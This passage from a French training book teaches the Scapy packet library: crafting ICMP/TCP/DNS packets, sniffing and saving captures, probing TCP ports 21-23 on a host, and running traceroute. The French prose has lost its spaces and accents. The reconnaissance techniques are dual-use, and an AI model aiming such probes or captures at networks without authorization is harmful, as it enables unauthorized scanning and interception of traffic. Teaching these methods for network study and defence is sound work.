Ilnestpasncessairederemplirtousleschamps,carilexistedesvaleurspardfaut.Deplus,Scapyvaempiler
naturellementlescouchesrseaudesplusbassesauxpluslevesetlarsolutionDNSestautomatique.
>>> ls(ICMP)
type
: ByteEnumField
= (8)
code
: MultiEnumField
= (0)
chksum
: XShortField
= (None)
id
: ConditionalField
= (0)
seq
: ConditionalField
= (0)
ts_ori
: ConditionalField
= (39474514)
ts_rx
: ConditionalField
= (39474514)
ts_tx
: ConditionalField
= (39474514)
gw
: ConditionalField
= (0.0.0.0)
ptr
: ConditionalField
= (0)
reserved
: ConditionalField
= (0)
addr_mask : ConditionalField
= (0.0.0.0)
unused
: ConditionalField
= (0)
>>> p=IP(dst="www.google.fr")/ICMP()
>>> p.summary()
"IP / ICMP 195.221.189.155 > Net(www.google.fr) echo-request 0"
>>>
Enutilisantlels()surICMP,nousdcouvronslesvaleursdechaquelmentdelICMPquipournotrecassont
valablespardfaut.
Nouspouvonsensuiteindiquerlacible,iciwww.google.fr,quenousvoulonstesteretcegrce IP()auquel
nousindiquonsladresseweb.
p.summary()nouspermetdesavoircommentnousavonsforgnotrepaquet.
Mais,pourlinstant,nousnavonspaslancnotrerequtelaidedelacommande
send().
>>> send(p)
.
Sent 1 packets.
>>> q=sr1(p)
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
ENI Editions - All rights reserved - chantal gournier
- 13 -
>>> q.summary()
IP / ICMP 173.194.34.24 > 195.221.189.155 echo-reply 0 / Padding
>>> q
<IP version=4L ihl=5L tos=0x0 len=28 id=56167 flags= frag=0L
ttl=54 proto=icmp chksum=0x5826 src=173.194.34.24
dst=195.221.189.155 options=[] |<ICMP type=echo-reply code=0
chksum=0x0 id=0x0 seq=0x0 |<Padding load=\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00 |>>>
>>>
Nousvoyonsquelepaquetabientenvoy.
CettefonctionScapysr1()quipermetdenvoyeretderecevoirunpaquetesttrspratiqueetnouspouvonsen
voirlersultatenutilisantsummary().
Nous pouvons modifier comme nous le voulons toutes les valeurs par dfaut des fonctions : les changer, les
effacer
>>> q.haslayer(TCP)
0
>>> q.haslayer(IP)
1
>>> q[IP].src
173.194.34.24
>>> q[IP].ttl=255
>>> del q[IP].chksum
>>> q
<IP version=4L ihl=5L tos=0x0 len=28 id=56167 flags= frag=0L
ttl=255 proto=icmp src=173.194.34.24 dst=195.221.189.155
options=[] |<ICMP type=echo-reply code=0 chksum=0x0 id=0x0
seq=0x0 |<Padding load=\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00 |>>>
>>>
Danslexemplecidessus,nousregardonsdabordsiqaunecoucheTCPpuisIP.
Nous voyons que la premire commande retourne la valeur 0 (pas de TCP) et la deuxime la valeur 1. Nous
regardonsensuitelIPsourcepourchangerlavaleurduTTLetsupprimercelleduchecksum.
c.Lesentressorties
Scapy va nous permettre de faire des captures de paquets, de sauvegarder ces captures, de charger les
paquets,deconvertirlespaquets...
Nousallonsvoirparlexemplecesdiffrentescommandes :
>>> lp=sniff(count=50)
>>> lp
<Sniffed: TCP:20 UDP:6 ICMP:0 Other:24>
>>> wrpcap("capture_eni.pcap",lp)
>>> del lp
>>> lp=rdpcap("capture_eni.pcap")
>>> lp
<capture_eni.pcap: TCP:20 UDP:6 ICMP:0 Other:24>
>>> str(lp[0])
\x00&\xb9\xeboh\x00\x0b\xcd\xb1$3\x08\x00E\x00\x05\xdc\xd4\x9c@\x
00\xf1\x063\xb6E?\xb5\x10\xc3\xdd\xbd\x9b\x01\xbb\xa9\xaef\xefoff\
xd5\x17Q\x80\x18\x16\xbb\xa77\x00\x00\x01\x01\x08\nC\x07O2\x00\xe1
Fm\x17\x03\x01\x05\xb8Y2Y\xee1\xbe\xd1tz\xbd(g
=\x04Mu\xd7\xa1(u\x96\xa1\xe1\x88\x9f.\xd0Jb\xc8\x10\xc3\x8c\x88x\
xb3\xad\xd9\x7fM\xb3c\xeb\xaa&\x08\x9aP\xa5\xff{;~\r\xda\x11t\x07\
- 14 -
x9a\xb8\xec\xe9\x8a\xa1\x8fu\xfb\x080c\xc3\xf3hK\xae\x01\x05\xfb\x
96\xb2\x04l\xf2\xbb\xeb\x04\xf44\r:\x8c\x1a[3\x17\x1aa\xa1\\\x0f\x
d1I\r\xb64\x18\xdbQ\xc7}%X\x14
\x99\x86\xff\x7f\x17\x12Wl\xeejY*\xaaf\x8c\xad\x8d\xb7X\x07\x16Y\x
e3\xe7\xe4\xb6\xa9Xs\xc1\xb4;}Jrj\xc8\xef1\x90\xbe1\x82\x0c\xc3g$N
R\x95\x95\xc2\xec\x88\xa1o\xabW\xe5\x84s\x05\xa7\xb2\x1a\xed\xc6)\
xa0\xeci\x88\xe8d\rq+\x97\xc56\xf16\xaa\xd9\xf8\xc0\x86w/\x0er$7U\
xee\xa7\x16|\x08\xc6\xd1\x19d\x18\xbb\x11\xaa\x0b\xd0\xc8\x05Z5a\x
e9\x17\xd4\x92\xc3\xc0\xb9\xe9\xa4\t\x03\xa7\x7f\xe5\xa2\x06H\xcdJ
#\xe1\xcc\xfb\\xad\xde\x8aY\xbf>J\x96\x1cH\x1am\x08\xdf-L\x14o\xc2\xe1do\xfc\x81T8`p\x03\xfbpn\xbdZ3\x14\xa0\xe8\xf6\xd4"5
\xfd"\xd3\xd7L\x93\xff\x85\x16\xd6\xe7\x92\x01\xc3\xc2\x99\x0cw\xc
8X\x93\xc1\x82j0\x1dcB\xdf\xf4\x83\x1a\xfc\x17J\x02\xc0,\xe7j\xd6\
xc4a\t\x9f0ybot
N\xc6\xf0}P\xd9}\x8c\x1eB\x8e\xa0\xd4\x1c-\xe9\xaa\xc5\c\x8c\x07\
xc2\xf9\xb3\xe4w!\xe8\xe490\xd1\x9f\xa1\xa3\xad\xc1d\xa0\x17s\xd2\
t\xf5\xc2\xaa\xecrG\x7f\xe7\x8f#\xe7\x9d\xf1Ds1|
s\xb5\x0fR\x11\xaf\x97\x17`\xce;\x12\xb1R\x18\n\xe5u\xef=TOr\x03Y\
xf6\xa9\x19\xa19\x98YK\xd3\\xf9=\xb3\xe6A\xff\xffv\xffprk\x19OE\x
a4~sKwJL7\xc0.\xd1\xff\xb1TK\xce\xda!
n;-\xe1W\xe5\xac\x15.\xcaR\x91\xeb\xd2\xfcB\xfcQTu\xbd\x92\xe6D\x8
c\x15\nM>\x9e\xad\xba%\x8d\xb5+\xce]\xe6\xe6\xabT
%\xb8\x95\x0e$\xe8s\xd2\xb5\xdd\xb8`\x1b\x8a\x8a\xc8\xef4\xe4\x9ej
\xc1\x024\xa0<\xa1M)\xd3\xd9o\xe6\xc3\xf61Y\x9f\xedp\x91\xa5\xe0\x
01\xea\xbb\x85\xf2\xffi/\xde[\xf8T\x04*\xae!\x07d\xc16\x96\xdbsC6\
xcbD\xdek\x9637S\x184\x99M\xe9\xff\x12\x8e\xc9v2\r\xa49-\xb9\x02\x
e5\x12%\x13g\x86\xd0\xd8\xdd\xdb\x14\xe5\x8f\xc7h\x14\x81\xb5\xe6\
xe9\xd7\\\N.N\x8d\xe1\x0eh\xfa\xa1\xf6\x1bSp\x80R=\x04\xf6\xf0\xe
7L\xe1\xcf\xd7\x99{N\x19A$tB\xfa\x19O>c\xafQ\x9a\x0c\x05>w\xa4\4A
fQ8\x17\x87\xfby\x86\x1e:\x9c|\x9aG\x9d=\xc3O\\xba\x0c\xb7\xfd\xd
8a\xf7\xd4\xbc\xfe\xb5\xb1\xafb\xa0\x95X\x04u"\x97~\xf29*\x1c\xb6(
\x95\xea\xb2d\xa4\x92y\xd2a\x9e\x17H\xc16Z/d\xfe\xe2\xe1\xf8\xe8\x
85\xc5[gq#\xca\x16Mm)\x1a+\x92,C\x1d\x04\r\xf7\xd30z\xff\xd2Y\xe8N
\x99\xa4\xa4\x94\x01W\x0c\xc9\xec{I\x98\xa9\t~C\xcb+\xfe.\x0ct\xbe
\xbb\xc5\x9bR\x9c\x983\xe9\xe1+\xa5\xbd\xb5{\x87\xb4I
\xf3s\\\xdcT\xfdJ\xf5H(On\x00\xc7\xf1\xe0\xff\x92\x92\xf5\xf7\xaf\
x8ah\xce?
N\xe3\xd9\xf3\x8aXL\x16p\xd4\\x1d\xd3\xea\xd4B\xdb62\x03\x05\x82\
xea\x0e\xbd\xd9y\xba\x9c\xc6\x1e\x8eJ\x81\x89\xc5\\\xd7\x1f|\x8a\x
0f\x94\\xa5\xfc\x9fKYBV\xef\xf1\xa3w\xb5\x90\x87\xfe\xf76\xc5\x15
\xb3\xe5T0&\x98[\x9eD\xe7\xef\x86F\x88\xe2\x99\x9f|\x83\xc5\x08u\x
16h\x1d\x98\x9e\xd5\xc0\x17]0\xe2\xc3\x0f\xd0+\xabM~\xcd\xb2\xe0\x
8b\x8e\xe2\xd0\xc8N\x9c\xca\x0c\x05\x18\xce|\xf4\xd7\t\xe6\xe8\xf2
Q\x1f\xa1\x93J)\xf1\xbd\x1c\t\xcc\x86\x9eD\xc16\xbf\xf0\x91*T\xc9\
xb9\xab\xec\x08\x13\xcc\xb9s`zFFev\xb7\x05\xbb\xecq\x07\xffL\xd0\x
83\x83H\xa7j\xb0`\xf0`\x8e\x8d\xec\x1dn
\xd5\x00\xb4p\xbd\xec\xb2\xac\xc3a\xc0m\x88\x13\xcc\xa1l\x9a\x9b\x
f2\xe0V\x9aXDh\xe5X=\xe5\xb0\x83\x83h\xe9=)\xd3\x97r\x1d#;\xb4\x1c
\x80\xc5\r\xa5\x8auh\xa7\x10\xb6\xd1j\\xdf"1\x8d\xcb\x92\xe84\x04
S\x1a=\x81\x82\\\x1f\xbd\x03\x9640\xbe\x8d\x94$\x9ad\x97\xf1
\xa7lN\xce*_,\xbdl\xf5\x82i\xf8\xf1!\x1e+\xe0_\xb8M\x86\xdbV?\xbfK
\x88|\x99\xa5\x04g7\xf049\xec*\xbf\xb8\xfe~S\xd6/VQ\xcb\x17\xc6\x9
d\x85\x9a\xf5b\x10\x85\xbb\xbf|\xb3\xd3\xc1\xf4\x1d\x05\x06\xf4\xd
ab#\x9e\x9b\xb9\x8b\xf5P47\x1b\xe8\xc9G\x89\xe7\x96/Wt\x8bX\xde*\x
01\xec\xc7u\xdeEs\x18U\xcc=\xad\x0fR\x9d\xba\x81<\xf7\xb2)\x89\xbf
\xec\xea\xc0h~\x18s\xa2$\xe5\xcd\xc3tS\xb8i\x90\xdb\r4r\xe4f\xa1\x
fa\x91\xfe\xa4\x90u\xd5~\xa7\xe8W\x89\xc2\xd6\x95m.h\xd8\xb3\x94\x
b0\xeb\xb2$
{\xdf\x90\xc6%\xc0$Xn\xa1\xd4O\xe3\x17z\x1d\xc3\x17J\xcc3\x06\xd5\
xb0\xf0\xc8u\x98\xdc\x9d\x08N\x92\x8e\x7fB{\x98\xef\xa0>\xdc\xcc\x
99"\x16\xe64gL&\xf8vE\x85-\xbc!
v\xaa\xb4$Z\xf4o3<}\xd146z\x88\x91\xbf5\xe0\xa6*\xd3\xe8\x8d\xf5/
(`{J2\x8d!\xaa\xb7\x00\x10\xc9\xdc\xa3\x04\xea\x0fH*\x19\xc1\xed_\
xce\xcf\x10\xda\xa0\xf2\x7fv\x86\x1d~\xf5\xa5OM\xb0\xcb\x0cc\xfe\x
c1d\xdf\xdc\x1d\xc9\xca\xefU\x8cXJ\x9f\x86\xe4ba\xcf\xf4\xfcB\xce<
\xe7\xae\xcb\xd9/<
>>> r=Ether(str(lp[0]))
>>> r==lp[0]
True
>>>
- 15 -
Nousavonsicisniff()quivanouspermettredefairedelacapturerseau,nouspouvonsdfinirlenombrede
paquetsquenousvoulonscapturer,parexemple( count=50).
>>> lp.summary()
Ether / IP / TCP 173.194.34.1:https > 195.221.189.155:46975 PA /
Raw
Ether / IP / TCP 195.221.189.155:46975 > 173.194.34.1:https A
802.3 00:13:7f:64:5a:d2 > 01:80:c2:00:00:00 / LLC / STP / Padding
aa:00:04:00:0a:04 > ab:00:00:03:00:00 (0x6003) / Raw
Ether / 195.221.189.254 > 224.0.0.1 igmp / Raw / Padding
Ether / ARP who has 195.221.189.68 says 195.221.189.254 / Padding
Ether / 195.221.189.254 > 224.0.0.10 eigrp / Raw
Ether / IP / UDP 195.221.189.87:50271 > 255.255.255.255:netbios_ns /
NBNSQueryRequest
Ether / ARP who has 195.221.189.248 says 195.221.189.155
Ether / ARP is at 00:03:ba:4e:db:91 says 195.221.189.248 / Padding
Ether / IP / ICMP 80.91.246.69 > 195.221.189.44 time-exceeded ttlzero-during-transit / IPerror / UDPerror
802.3 00:13:7f:64:5a:d2 > 01:80:c2:00:00:00 / LLC / STP / Padding
Ether / IP / UDP 195.221.189.87:50271 > 255.255.255.255:netbios_ns /
NBNSQueryRequest
802.3 00:13:7f:64:5a:d2 > 01:00:0c:cc:cc:cc / LLC / SNAP / Raw
Ether / ARP who has 195.221.189.118 says 195.221.189.254 / Padding
Ether / ARP who has 195.221.189.68 says 195.221.189.254 / Padding
Ether / IP / UDP 195.221.189.87:50271 > 255.255.255.255:netbios_ns /
NBNSQueryRequest
Ether / ARP who has 195.221.189.155 says 195.221.189.115 / Padding
Ether / ARP is at 00:26:b9:eb:6f:68 says 195.221.189.155
Ether / ARP who has 192.168.23.18 says 192.168.23.254 / Padding
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP /
DHCP
802.3 00:13:7f:64:5a:d2 > 01:80:c2:00:00:00 / LLC / STP / Padding
Ether / ARP who has 195.221.189.20 says 195.221.189.238 / Padding
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / 195.221.189.254 > 224.0.0.13 pim / Raw
Ether / IP / TCP 195.221.189.155:35225 > 69.171.229.16:https A /
Raw
Ether / IP / TCP 195.221.189.155:35225 > 69.171.229.16:https PA /
Raw
Ether / 195.221.189.254 > 224.0.0.10 eigrp / Raw
Ether / IP / TCP 69.171.229.16:https > 195.221.189.155:35225 A
Ether / IP / TCP 69.171.229.16:https > 195.221.189.155:35225 A
Ether / IP / TCP 69.171.229.16:https > 195.221.189.155:35225 PA /
Raw
Ether / IP / TCP 195.221.189.155:35225 > 69.171.229.16:https A
Ether / IP / TCP 173.194.34.1:https > 195.221.189.155:46975 PA /
Raw
Ether / IP / TCP 195.221.189.155:46975 > 173.194.34.1:https A
Ether / IP / TCP 173.194.34.1:https > 195.221.189.155:46975 PA /
Raw
Ether / IP / TCP 195.221.189.155:46975 > 173.194.34.1:https A
Ether / IP / TCP 69.171.229.16:https > 195.221.189.155:35225 PA /
Raw
Ether / IP / TCP 195.221.189.155:35225 > 69.171.229.16:https A
Ether / IPv6 / UDP fe80::214:38ff:fe03:f244:mdns > ff02::fb:mdns /
Raw
- 16 -
>>>
str() permet dafficher en chane de caractres, wrpcap() de sauvegarder les paquets et rdpcap() de
chargerdespaquets.
NouspouvonsbiensrutiliserScapydansunscriptPythonclassique,ilsuffira pourceladcrirenotrescripten
importantlabibliothqueScapy.
chap2_exo1.py
#!/usr/bin/python
import sys
from scapy.all import *
p=IP(dst=www.google.fr)/ICMP()
send(p)
Rsultat
fasm@moya:~/ENI_livre_formation/livre_python/exemples/chapitre2$su
do ./chap2_exo1.py
WARNING: No route found for IPv6 destination :: (no default route?)
.
Sent 1 packets.
d.Entronsdansledtail
Loprateur/permet dassembler deuxcouchesentreelles,parexempleIP()/TCP().
Lacouchelaplusbassepeutavoirunouplusdeseschampspardfautchargsdanslacouchelaplushaute,IP
=>TCP.
>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=tcp |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=tcp |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\r\n\n"
<IP frag=0 proto=tcp |<TCP |<Raw load=GET / HTTP/1.0\r\r\n\n
|>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=ipencap |<IP frag=0
proto=udp |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>
>>>
Nousallonsmaintenanttravaillersurlafaondafficherlesrsultats.
>>> str(IP())
E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x
00\x01
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64
proto=ip chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
- 17 -
NouspouvonsafficherIP()auformatchanedecaractres.
GrceIP(_)nouspouvonsvisualiserlesdiffrentschampsdelatrameIP.
Nouspouvonsaussilesvisualiserenhexadcimalgrcehexdump().
Nousavons,dansceformatdaffichage,lestramesenhexadcimalgaucheet,droite,latraductionenchane
decaractresquandcelaestpossible.NousretrouvonsparexempleleGET/indexHTTP/1.0.
Nous pouvons bien sr visionner cela tout comme une chane de caractres (str()), ou avoir le dtail de la
trame (Ether()), et si cela est trop lourd regarder, nous pouvons cacher les valeurs par dfaut
(hide_defaults()).
>>> b=str(a)
>>> b
\x00\x0b\xcd\xb1$3\x00&\xb9\xeboh\x08\x00E\x00\x00B\x00\x01\x00\x
00@\x06Pg\xc3\xdd\xbd\x9bZSN\x82\x00\x14\x00P\x00\x00\x00\x00\x00\
x00\x00\x00P\x02 \x00\xb3d\x00\x00GET /index.html HTTP/1.0\n\n
>>> c=Ether(b)
>>> c
<Ether dst=00:0b:cd:b1:24:33 src=00:26:b9:eb:6f:68 type=0x800 |
<IP version=4L ihl=5L tos=0x0 len=66 id=1 flags= frag=0L ttl=64
proto=tcp chksum=0x5067 src=195.221.189.155 dst=90.83.78.130
options=[] |<TCP sport=ftp_data dport=www seq=0 ack=0 dataofs=5L
reserved=0L flags=S window=8192 chksum=0xb364 urgptr=0 options=[]
|<Raw load=GET /index.html HTTP/1.0\n\n |>>>>
>>> c.hide_defaults()
>>> c
<Ether dst=00:0b:cd:b1:24:33 src=00:26:b9:eb:6f:68 type=0x800 |
<IP ihl=5L len=66 frag=0 proto=tcp chksum=0x5067
src=195.221.189.155 dst=90.83.78.130 |<TCP dataofs=5L
chksum=0xb364 options=[] |<Raw load=GET /index.html
HTTP/1.0\n\n |>>>>
>>>
Pourlemoment,nousavonsjustegnrdespaquets.Nouspouvons,sinousledsirons,personnaliserchaque
champdupaquet.
Nouspouvons,parexemple,dfinirlIPdedestination,changerleTTL,leport...
Changementdeladestination
>>> a=IP(dst="www.google.fr")
>>> a
<IP dst=Net(www.google.fr) |>
>>> [p for p in a]
- 18 -
ChangementduTTL(TimeToLive)
>>> b=IP(ttl=[1,2,(5,9)])
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP
ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
Assemblage
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=tcp dst=90.83.78.128 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.128 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.129 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.129 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.130 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.130 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.131 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.131 |<TCP dport=https |>>]
Danslexemplecidessus,nouscouplonslaconfigurationpouraetc nousaurionspucrire :
Contenudupaquet
>>> a.show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
- 19 -
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 195.221.189.155
dst= Net(www.eni.fr/30)
\options\
Maintenantquenoussavonsmanipulerlespaquets,voyonsendtailcomment lesenvoyer.
Lafonction send()permetdenvoyerlespaquetssurlacouche3.Lafonction sendp(),quantelle,utilisera
lacouche2.vousdoncdedterminerlafonction utilisersuivantvosbesoins.
>>> send(IP(dst="195.221.189.248")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="195.221.189.248",ttl=(1,4)),iface="eth0")
....
Sent 4 packets.
>>> p=sr1(IP(dst="www.eni.fr")/ICMP()/"ENIENIENIENI")
Begin emission:
..Finished to send 1 packets.
...........*
Received 111 packets, got 0 answers, remaining 1 packets
>>>
Nousnavonsiciaucunpaquetenretour(got0answers).Tentonssuruneautremachine :
Testeninterne
>>> p=sr1(IP(dst="koala.univ-valenciennes.fr")/ICMP()/
"ENIENIENIENI")
Begin emission:
...Finished to send 1 packets.
*
- 20 -
Nousvoyonsiciunpaquetenretour,doncunerponse,nouspouvonsdoncvoirlecontenudelarponseavec
p.show()parexemple.
NouspouvonsobserverquilyaeuunersolutionDNS.NouspouvonsinterrogerceDNSgrceDNS().
>>> p=sr1(IP(dst="koala.univ-valenciennes.fr")/UDP()/
DNS(rd=1,qd=DNSQR(qname="www.univ-valenciennes.fr")))
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=268 id=40367 flags=DF frag=0L
ttl=255 proto=udp chksum=0xd9e1 src=195.221.189.248
dst=195.221.189.155 options=[] |<UDP sport=domain dport=domain
len=248 chksum=0xf7ea |<DNS id=0 qr=1L opcode=QUERY aa=1L tc=0L
rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=2 nscount=4 arcount=4
qd=<DNSQR qname=www.univ-valenciennes.fr. qtype=A qclass=IN |>
an=<DNSRR rrname=www.univ-valenciennes.fr. type=CNAME rclass=IN
ttl=86400 rdata=blade2.univ-valenciennes.fr. |<DNSRR
rrname=blade2.univ-valenciennes.fr. type=A rclass=IN ttl=86400
rdata=193.50.192.166 |>> ns=<DNSRR rrname=univvalenciennes.fr. type=NS rclass=IN ttl=86400 rdata=titan.univvalenciennes.fr. |<DNSRR rrname=univ-valenciennes.fr. type=NS
rclass=IN ttl=86400 rdata=pulsar.univ-valenciennes.fr. |<DNSRR
rrname=univ-valenciennes.fr. type=NS rclass=IN ttl=86400
rdata=reserv1.univ-lille1.fr. |<DNSRR rrname=univvalenciennes.fr. type=NS rclass=IN ttl=86400 rdata=reserv2.univlille1.fr. |>>>> ar=<DNSRR rrname=titan.univ-valenciennes.fr.
type=A rclass=IN ttl=86400 rdata=193.50.192.38 |<DNSRR
rrname=pulsar.univ-valenciennes.fr. type=A rclass=IN ttl=86400
rdata=193.50.192.1 |<DNSRR rrname=reserv1.univ-lille1.fr.
type=A rclass=IN ttl=141972 rdata=193.49.225.15 |<DNSRR
- 21 -
Nous avons donc indiqu cidessus ladresse du DNS et nous avons demand les informations sur www.univ
valenciennes.fr.
NouspouvonsdoncvisualisericitouteslesinformationsreueslorsdelarequteDNS.
Nouspouvonsrcuprerindpendammentchaquelmentdelalisteainsiobtenue :
>>> p[2][8][3]
<DNSRR rrname=reserv2.univ-lille1.fr. type=A rclass=IN
ttl=141972 rdata=193.49.225.90 |>
Lafonction sr(sendandreceive)retournedeuxlistes.Lapremireestunelistedescouplespaquetsenvoyset
reus,etladeuximeunelistedespaquetssansrponse.
>>> sr(IP(dst="195.221.189.248")/TCP(dport=[21,22,23]))
Begin emission:
..**.Finished to send 3 packets.
*
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: TCP:3 UDP:0 ICMP:0 Other:0>, <Unanswered: TCP:0 UDP:0
ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:ftp S ==> IP /
TCP 195.221.189.248:ftp > 195.221.189.155:ftp_data SA / Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:ssh S ==> IP /
TCP 195.221.189.248:ssh > 195.221.189.155:ftp_data SA / Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:telnet S ==>
IP / TCP 195.221.189.248:telnet > 195.221.189.155:ftp_data SA /
Padding
>>>
Nouspouvonsdfiniruntempsdattenteentredeuxpaquetsgrceauparamtreinter.Nouspouvonsenvoyer
denouveaulespaquetssansrponsesgrceauparamtreretry.
Nouspouvonsenvoyeretrecevoirdansuneboucle :
>>> srloop(IP(dst="www.univ-valenciennes.fr/30")/TCP())
fail 4: IP / TCP 195.221.189.155:ftp_data > 193.50.192.166:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.165:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.164:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.167:www
RECV 1: IP / ICMP 193.50.192.66 > 195.221.189.155 dest-unreach
host-unreachable / IPerror / TCPerror
fail 3: IP / TCP 195.221.189.155:ftp_data > 193.50.192.166:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.165:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.167:www
fail 4: IP / TCP 195.221.189.155:ftp_data > 193.50.192.166:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.165:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.164:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.167:www
RECV 1: IP / ICMP 193.50.192.66 > 195.221.189.155 dest-unreach
host-unreachable / IPerror / TCPerror
fail 3: IP / TCP 195.221.189.155:ftp_data > 193.50.192.166:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.165:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.167:www
send...
- 22 -
S
S
S
S
S
S
S
S
S
S
S
S
S
S
NousvenonsdefaireletourdesprincipalescommandesdeScapy.Nousallonsmaintenantentrerdanslevifdu
sujet et aborder la scurit avec Scapy. Nous passerons sous silence des fonctions telles que psdump() ou
pdfdump() ou encore tout ce qui est affichage 3D. Mais sachez quil existe beaucoup dautres fonctions que
nousnaborderonspasdanscechapitre,carpastrsutilespournotresujet.
4.Utilisationavance:scuritrseau
a.traceroute
traceroute est un outil rseau, disponible sous Linux et sous Windows, qui permet de suivre le chemin quun
paquetdedonnes(paquetIP)vaprendrepourallerdunemachineAunemachineB.
Par dfaut, le paquet est envoy sur Internet mais le chemin emprunt par le paquet peut varier, en cas de
pannedunlienoubienencasdechangementdesconnexionsdelundesoprateurs.
Aprs avoir t expdi au fournisseur daccs, le paquet est transmis des routeurs intermdiaires qui vont
lacheminerjusqusadestination.Lepaquetpeutsubirdestransformationslorsdesonvoyage.Ilsepeutaussi
quilnarrivejamaisdestinationsilenombreden udsintermdiairesesttropimportant.
NousallonstudierlespossibilitsdeffectueruntraceroutelaidedeScapy.
MaisScapyadjsafonctiontracerouteintgre.
Contrairementauxautresprogrammestraceroute,Scapyenvoietoussespaquets enmmetemps.Lavantage
principalestquenouspouvonsluiindiquerdemultiplesciblestraiterenmmetemps.
>>> traceroute(["www.google.fr","www.eni.fr",
"www.univ-valenciennes.fr"])
Begin emission:
****************************************************************
**.**.*.**Finished to send 90 packets.
**.............................................
Received 123 packets, got 75 answers, remaining 15 packets
173.194.34.56:tcp80 193.50.192.166:tcp80 90.83.78.130:tcp80
1 195.221.189.115 11 195.221.189.115 11
195.221.189.115 11
2 195.221.189.254 11 195.221.189.254 11
195.221.189.254 11
3 193.51.250.129 11 192.168.206.2
11
193.51.250.129 11
ENI Editions - All rights reserved - chantal gournier
- 23 -
4 193.50.192.66
11
5 193.51.189.118 11 193.50.192.166 SA
193.51.189.118 11
6 193.51.189.174 11 193.50.192.166 SA
195.10.54.65
11
7 193.50.192.166 SA
195.2.9.58
11
8 193.51.182.197 11 193.50.192.166 SA
9 72.14.238.234
11 193.50.192.166 SA
193.251.128.117 11
10 193.50.192.166 SA
11 173.194.34.56
SA 193.50.192.166 SA
12 173.194.34.56
SA 193.50.192.166 SA
13 173.194.34.56
SA 193.50.192.166 SA
14 173.194.34.56
SA 193.50.192.166 SA
15 173.194.34.56
SA 193.50.192.166 SA
16 173.194.34.56
SA 193.50.192.166 SA
17 173.194.34.56
SA 193.50.192.166 SA
18 173.194.34.56
SA 193.50.192.166 SA
19 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
20 193.50.192.166 SA
90.83.78.130
SA
21 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
22 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
23 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
24 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
25 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
26 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
27 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
28 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
29 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
30 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
(<Traceroute: TCP:57 UDP:0 ICMP:18 Other:0>, <Unanswered: TCP:15
